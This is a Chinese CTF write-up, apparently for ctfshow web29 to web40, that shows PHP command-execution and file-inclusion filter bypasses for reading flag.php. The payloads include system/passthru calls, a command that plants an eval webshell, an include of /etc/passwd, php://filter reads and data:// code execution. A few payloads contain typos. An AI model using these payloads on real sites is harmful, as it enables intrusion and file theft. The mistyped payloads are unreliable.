由于是新手,我们从最基本的原理开始
web 29
先分析代码
将你上传的参数c当做php代码来运行,这里过滤掉了flag
首先我们/?c=sysytem('is')查看他的目录,发现有flag。php
然后看大佬的这里有很多的解法
-
?c=system("tac fla*")
这里"tac" 是一个 Unix 和类 Unix 操作系统中的命令行工具。它的功能是将文件逆序输出,即从最后一行到第一行输出文件的内容。它的名称来源于单词 "cat"(concatenate,连接),反过来就是 "tac"(反向连接)。
-
?c=highlight_file(next(array_reverse(scandir("."))));
-
scandir(".")
: 这个函数会扫描当前目录(.
)并返回目录中文件和目录的数组列表。通常返回的数组中会包含特殊条目.
(表示当前目录)和..
(表示上级目录)。 -
array_reverse(scandir("."))
:array_reverse
函数会将scandir
返回的数组反转,即将数组中的元素顺序颠倒,使得最后一个文件或目录排在数组的第一个位置。 -
next(array_reverse(scandir(".")))
:next
函数会返回数组中当前指针指向的元素,并将指针向前移动到下一个元素。因为array_reverse
已经反转了数组,所以这里返回的是原始数组中的最后一个文件或目录的名称。 -
highlight_file(next(array_reverse(scandir("."))))
: 最终,highlight_file
函数会显示指定文件的 PHP 源代码。所以,这段代码的目的是显示当前目录下最后一个文件的源代码。
-
c=system('echo -e " <?php \n error_reporting(0); \n \$c= \$_GET[\'c\']; \n eval(\$c); " > a.php'); /a.php?c=system("tac flag.php");
这个做法是创建一个a.php文件,然后你就可以通过这个界面来查看flag.php
-
c=system("cp fl*g.php a.txt ");
这里是将flag.php的内容复制到a.txt里面,然后你可以直接查看a.php
web 30
这题需要绕过flag|system|php
绕过system
可以看这个常用的PHP命令执行函数及利用方式_php 命令执行的函数-CSDN博客
绕过flag.php
这里我们用到通配符Linux中通配符 - 强叔Linux - 博客园 (cnblogs.com)
所以payload可以为
?c=passthru("tac%20fla*");
web31
这题禁用了flag|system|php|cat|sort|shell|\.| |\'
方法一
由于这里只是对c这个参数进行判断,我们将c换为eval函数,而定义一个1为passthru("tac fla*");
?c=eval($_GET[1]);&1=passthru("tac%09fla*");
方法二:通过函数拼接字符绕过
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv():返回包含本地化数字和货币格式信息的关联数组。这里主要是返回数组第一个"."
pos():输出数组第一个元素,不改变指针;
scandir();遍历目录,这里因为参数为"."所以遍历当前目录
array_reverse():元组倒置
next():将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():查看源码
web32
这次过滤的比较多flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(
其中分号也被过滤掉了,所以之前的命令全都用不了。这题要使用文件包含或者日志注入,
首先我们先试一下文件包含,成功
?c=include$_GET[1]?>&1=/etc/passwd
然后文件包含
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
得到PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7NDczMWU2YTQtYmMwZS00Mzg2LWI1MTMtNzE5Yzg2MDYwYzU2fSI7DQo=
解码可得
web33
和web22基本相同,这里我们用require代替include
?c=require%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
得到
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7OGY5YWZjNmItNGE0MC00M2Q4LWFhYjgtZmNkNjJjZjk2MGQzfSI7DQo=
解码可得flag
web34
和web32相同。
?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
web35
和web32相同。
web36
这里就是不让有数字了
我们把原来的1换成字母就行了
?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
web37
从这里开始evil函数没用了,变成了include
?c=data://text/plain,<?php system("mv fla?.php 1.txt");?>
data协议把后面的数字,字符,字符串当做php代码来执行
web38
过滤了php以及file
?c=data://text/plain,<?=system("cp fla*.* 1.txt');?>
这里的=叫做短标签
web39
这道题给填上了一个.php后缀,但不影响前面的代码执行
?c=data://text/plain,<?=system("tac fla?.ph?");?>
web40
过滤了很多符号
用提示的解法
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));